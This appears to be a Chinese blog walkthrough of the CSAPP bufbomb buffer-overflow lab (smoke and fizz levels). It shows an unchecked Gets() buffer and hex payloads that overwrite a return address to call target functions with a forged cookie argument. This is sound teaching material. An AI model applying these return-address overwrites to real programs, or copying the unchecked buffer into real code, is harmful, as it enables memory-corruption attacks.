CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

2023-10-30 02:40

本文主要是介绍CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧。

 

CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

 

lab3要我们做这样一件事情,修改一个正在运行程序的stack以达到预期的目的。具体的修改方式是这样的:程序定义了一个局部C风格字符串变量,注意局部变量是放在stack上面的,所以当初始化这个字符串为用户输入,而又没有边界检查的话,就会缓冲区溢出,那么就会破坏这个函数栈。

就像下面这个函数会破坏自己的函数栈:

#define NORMAL_BUFF_SIZE 32
int getbuf()
{char buf[NORMAL_BUFF_SIZE];Gets(buf);return 1;
}

 

会破坏到什么程度呢?如果用户输入太大,那么就把saved ebp给覆盖掉了;再大一点,就把return address覆盖掉了…没错,这个lab的精髓就是要让我们的输入来覆盖return address达到return到代码的其它地方执行!!!

实验目的:

通过缓冲区溢出攻击,使学生进一步理解IA-32函数调用规则和栈帧结构。

实验技能:

需要使用objdump来反汇编目标程序,使用gdb单步跟踪调试机器代码,查看相关内存及寄存器内容,也需要学生掌握简单的IA32汇编程序编写方法。

实验要求:

5个难度等级(0-4逐级递增)

级别0、Smoke(candle):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行smoke函数。


级别1、Fizz(sparkler):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行fizz函数;fizz函数含有一个参数(cookie值),构造的攻击字符串应能给定fizz函数正确的参数,使其判断成功。


级别2、Bang(firecracker):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值,使其判断成功。因此,需要在缓冲区中注入恶意代码篡改全局变量。


级别3、Boom(dynamite):前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行。Boom要求攻击程序能够返回到原调用函数test继续执行,即要求攻击之后,还原对栈帧结构的破坏。


级别4、kaboom(Nitro):本攻击需要对目标程序连续攻击n=5次,但每次攻击,被攻击函数的栈帧内存地址都不同,也就是函数的栈帧位置每次运行时都不一样。因此,要想办法保证每次都能够正确复原原栈帧被破坏的状态,使程序每次都能够正确返回。

从这个等级的命名我们也能窥探到一些端倪,candle 蜡烛,sparkler 烟火,firecracker 爆竹,dynamite 火药,Nitro 硝化甘油这一套命名规则显然让我们想起来lab2的拆弹实验,可见级别越高威力必然也就越大。而另外一套命名规则显然是从效果来看的,Smoke 冒烟,Fizz 劈啪作响,Bang 怦然巨响,Boom 隆隆作响,kaboom 大炸裂,果然有点意思。

文件夹内容

本实验的数据包含于一个文件夹buflab-handout.tar中。下载该文件到本地目录中,然后利用“tar –xvf buflab-handout.tar”命令将其解压。

bufbomb:实验需要攻击的目标程序bufbomb。
bufbomb.c:目标程序bufbomb的主源程序。本校的实验中没有给出,但老师给的ppt上有。
makecookie:该程序基于你的学号产生一个唯一的由8个16进制数字组成的4字节序列(例如0x5f405c9a),称为“cookie”。
hex2raw:构建的攻击字符串中可能包含不可打印字符,很难通过键盘输入,提交结果时,一般将结果放置在一个答案txt文件中(攻击字符串以可显示的16进制形式存储),在输入给bufbomb之前,需要使用hex2raw将其转换成原始的(raw)数据。


其中结果提交和验证时,均需要使用到bufbomb,其使用方法(-h查看帮助):

h:查看帮助;
u:学生标识;-u要求我们输入一个唯一的userid,根据不同的userid生成不同的cookie值,这里我使用的userid是stu
n:对于级别4(nitro/kaboom),需要加此参数,被坑了很久,一定要加上此参数!!
s:验证正确性的同时,将结果提交到服务器(如果验证正确);

实验步骤及操作说明

准备工作

使用objdump -d命令将其反汇编到bufbomb.asm。

 objdump -d bufbomb > bufbomb.asm

使用makecookie,生成用户的Cookie,后面解题都要用到这个Cookie:

 

0~3关:

攻击test()下getbuf()

 

第4关(Nitro/kaboom):

循环调用5次,
攻击testn() 下getbufn()

 

第0关:smoke

构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行smoke函数。

源码:

#define NORMAL_BUFFER_SIZE 32
void test()
{int val;/* Put canary on stack to detect possiblecorruption */volatile int local = uniqueval();val = getbuf();/* Check for corruption stack */if (local != uniqueval()){printf("Sabotaged!: the stack has beencorrupted\n");}else if (val == cookie){printf("Boom!: getbuf returned0x%x\n", val);validate(3);}else{printf("Dud: getbuf returned0x%x\n", val);}
}
int getbuf()
{char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1;
}
//Smoke源码:
void smoke()
{puts("Smoke!: You calledsmoke()");validate(0);exit(0);
}

我们的目标是调用上面的getbuf()以后,不正常返回,而是跳掉smoke这个函数的地方执行。

先看一下smoke的反汇编代码:

smoke函数的地址:0x8048c28

getbuf函数对应的栈还是上面那个栈的图:

 

buf只有0x28字节长度。

接下来,只要构造0x28(buf)+4(ebp)+4(return address)=48字节长度的字节码就可以将返回地址覆盖,最后四个字节的内容放smoke函数的地址保证返回地址是被smoke函数的地址覆盖,因为是小端存储,也就是:28 8c 04 08,前面44个字节任意这里我放一些00

 也就是:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
28 8c 04 08

将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

完成!

 

第1关:fizz

构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行fizz函数;fizz函数含有一个参数(cookie值),构造的攻击字符串应能给定fizz函数正确的参数,使其判断成功。

还是上面的test函数和getbuf函数,这里就给出fizz源码:

void fizz(int val)
{if (val == cookie){printf("Fizz!: You called fizz(0x%x)\n", val);validate(1);}elseprintf("Misfire: You called fizz(0x%x)\n", val);exit(0);
}

这一关和第0关类似,最大的区别是这次要跳到fizz这个函数有个参数,我们在输入里需要伪造出函数的参数。

先看一下fizz的反汇编代码:

fizz函数的地址:0x08048c52 即( 52 8c 04 08)

在fizz函数代码里有这样两句:

 mov    0x8(%ebp),%eaxcmp    0x804d108,%eax

其中0x8(%ebp)就是函数的第一个参数,而0x804d108这个内存地址保存着cookie的值,然后这两个值期望是一样的,这个位置就是我们要放cookie的位置。也就是说参数是放到了返回地址的上面,并且和返回地址相邻。同第0关一样,先用fizz函数地址覆盖掉getbuf返回地址,可以执行fizz函数,并且要将fizz函数的返回地址覆盖掉,并用cookie覆盖掉上面的参数。这样就可以跳转到fizz函数,并且在跳转后自己取到cookie作为参数,fizz函数的返回地址可以用任意四个字节的数覆盖,这里00 00 00 00覆盖掉,其作用只是用来占位。

也就是:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
52 8c 04 08 /*fizz 函数地址*/
00 00 00 00/*fizz return address */
94 25 80 4f /*Cookie: 0x4f802594*/

将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

完成!

 

CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

转载于:https://www.cnblogs.com/wkfvawl/p/10808730.html

这篇关于CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/305063

相关文章

速盾高防cdn是怎么解决网站攻击的?

速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

STM32(十一):ADC数模转换器实验

AD单通道: 1.RCC开启GPIO和ADC时钟。配置ADCCLK分频器。 2.配置GPIO,把GPIO配置成模拟输入的模式。 3.配置多路开关,把左面通道接入到右面规则组列表里。 4.配置ADC转换器, 包括AD转换器和AD数据寄存器。单次转换,连续转换;扫描、非扫描;有几个通道,触发源是什么,数据对齐是左对齐还是右对齐。 5.ADC_CMD 开启ADC。 void RCC_AD

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

61.以太网数据回环实验(4)以太网数据收发器发送模块

(1)状态转移图: (2)IP数据包格式: (3)UDP数据包格式: (4)以太网发送模块代码: module udp_tx(input wire gmii_txc ,input wire reset_n ,input wire tx_start_en , //以太网开始发送信

LTspice模拟CCM和DCM模式的BUCK电路实验及参数计算

关于BUCK电路的原理可以参考硬件工程师炼成之路写的《 手撕Buck!Buck公式推导过程》.实验内容是将12V~5V的Buck电路仿真,要求纹波电压小于15mv. CCM和DCM的区别: CCM:在一个开关周期内,电感电流从不会到0. DCM:在开关周期内,电感电流总会到0. CCM模式Buck电路仿真: 在用LTspice模拟CCM电路时,MOS管驱动信号频率为100Khz,负载为10R(可自

Web安全之XSS跨站脚本攻击:如何预防及解决

1. 什么是XSS注入 XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的Web安全漏洞,通过注入恶意代码(通常是JavaScript)到目标网站的网页中,以此在用户浏览网页时执行。攻击者可以通过XSS获取用户的敏感信息(如Cookie、会话令牌)或控制用户浏览器的行为,进而造成信息泄露、身份冒用等严重后果。 2. XSS攻击类型 2.1 存储型XSS 存储型XS

【前端安全】浅谈XSS攻击和防范

定义 XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 分类 大分类小分类原理非存储DOM型① 不需要经过服务器

HCIA--实验十:路由的递归特性

递归路由的理解 一、实验内容 1.需求/要求: 使用4台路由器,在AR1和AR4上分别配置一个LOOPBACK接口,根据路由的递归特性,写一系列的静态路由实现让1.1.1.1和4.4.4.4的双向通信。 二、实验过程 1.拓扑图: 2.步骤: (下列命令行可以直接复制在ensp) 1.如拓扑图所示,配置各路由器的基本信息: 各接口的ip地址及子网掩码,给AR1和AR4分别配置

新型 RAMBO 侧信道攻击通过 RAM 无线电波泄露数据

内盖夫本·古里安大学的研究人员发现了一种从隔离系统中泄露敏感数据的方法。 引入了一种称为 RAMBO(基于 RAM 的电磁隐蔽通道)的新型攻击技术。 该攻击利用计算机 RAM 产生的电磁辐射,使攻击者能够窃取加密密钥、密码、生物特征数据和文件等信息。 即使在系统与外部网络物理隔离的环境中,这种攻击也能实现。 信息泄露速度达 7.5 kB/分钟 该研究由 Morde

【0324】Postgres内核 Shared Buffer Access Rules (共享缓冲区访问规则)说明

0. 章节内容 1. 共享磁盘缓冲区访问机制 (shared disk buffers) 共享磁盘缓冲区有两套独立的访问控制机制:引用计数(a/k/a pin 计数)和缓冲区内容锁。(实际上,还有第三级访问控制:在访问任何属于某个关系表的页面之前,必须持有该关系表的适当类型的锁。这里不讨论关系级锁。) Pins 在对缓冲区做任何操作之前,必须“对缓冲区pin”(即增加其引用计数, re